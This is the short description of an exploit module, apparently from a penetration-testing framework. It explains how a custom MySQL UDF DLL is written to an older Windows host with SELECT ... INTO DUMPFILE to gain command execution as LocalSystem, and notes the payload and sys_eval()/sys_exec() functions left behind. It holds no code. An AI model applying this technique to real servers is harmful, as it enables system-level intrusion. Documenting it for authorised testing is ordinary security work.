  				This module creates and enables a custom UDF (user defined function) on the
  				target host via the SELECT ... into DUMPFILE method of binary injection. On
  				default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
  				permissions not enforced, and the MySQL service runs as LocalSystem.
  
  				NOTE: This module will leave a payload executable on the target system when the
  				attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
  				and sys_exec() functions.
